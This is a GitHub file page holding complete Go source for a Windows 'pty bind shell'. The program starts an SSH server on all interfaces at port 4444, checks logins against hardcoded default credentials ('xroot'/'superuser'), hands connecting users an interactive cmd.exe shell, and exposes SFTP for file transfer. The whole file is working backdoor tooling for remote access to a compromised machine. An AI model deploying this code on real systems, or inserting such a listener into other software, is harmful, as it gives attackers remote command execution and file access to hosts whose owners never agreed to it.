-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathpty_bind_shell_windows.go
126 lines (117 loc) · 2.78 KB
/
pty_bind_shell_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package main
import (
"fmt"
"github.com/akamensky/argparse"
"github.com/fatih/color"
"github.com/gliderlabs/ssh"
"github.com/pkg/sftp"
"golang.org/x/term"
"io"
"os"
"os/exec"
)
func SftpHandler(sess ssh.Session) {
debugStream := os.Stdout
serverOptions := []sftp.ServerOption{
sftp.WithDebug(debugStream),
}
server, err := sftp.NewServer(
sess,
serverOptions...,
)
if err != nil {
return
}
if err := server.Serve(); err == io.EOF {
server.Close()
}
}
func commandShellHandler(s ssh.Session) {
closed := false
term := term.NewTerminal(s, "")
shell := confirmShellConfig(s)
c := exec.Command(shell)
stdout, err := c.StdoutPipe()
if err != nil {
return
}
stdin, err := c.StdinPipe()
if err != nil {
return
}
c.Stderr = s.Stderr()
c.Start()
defer func() { closed = true }()
go func() {
for {
if !closed {
comm, _ := term.ReadLine()
stdin.Write([]byte(comm + "\r\n"))
} else {
break
}
}
}()
for {
buffer := make([]byte, 1024)
length, _ := stdout.Read(buffer)
if length > 0 {
s.Write(buffer[:length])
} else {
c.Process.Kill()
break
}
}
c.Wait()
}
func requestUserInput(term *term.Terminal, requestText string, defaultVal string) (val string) {
_val := defaultVal
for {
term.Write([]byte(requestText))
line, err := term.ReadLine()
if err != nil {
break
}
if line == "" {
break
} else {
_val = line
break
}
}
return _val
}
func confirmShellConfig(s ssh.Session) (shell string) {
term := term.NewTerminal(s, ">")
shellPath := requestUserInput(term, "Please input shell path [cmd.exe]: \n", "cmd.exe")
return shellPath
}
func exit_on_error(message string, err error) {
if err != nil {
color.Red(message)
fmt.Println(err)
os.Exit(0)
}
}
func main() {
parser := argparse.NewParser("pty_bind_shell", "")
var HOST *string = parser.String("H", "host", &argparse.Options{Required: false, Default: "0.0.0.0", Help: "Host to bind or connect to"})
var PORT *string = parser.String("P", "port", &argparse.Options{Required: false, Default: "4444", Help: "Port to bind or connect to"})
var USERNAME *string = parser.String("u", "username", &argparse.Options{Required: false, Default: "xroot", Help: "SSH username"})
var PASSWORD *string = parser.String("p", "password", &argparse.Options{Required: false, Default: "superuser", Help: "SSH password"})
err := parser.Parse(os.Args)
exit_on_error("[PARSER ERROR]", err)
server := ssh.Server{
Addr: *HOST + ":" + *PORT, // IP and PORT to connect on
PasswordHandler: ssh.PasswordHandler(func(ctx ssh.Context, pass string) bool {
return pass == *PASSWORD && ctx.User() == *USERNAME
}),
SubsystemHandlers: map[string]ssh.SubsystemHandler{
"sftp": SftpHandler,
},
Handler: func(s ssh.Session) {
commandShellHandler(s)
},
}
server.ListenAndServe()
}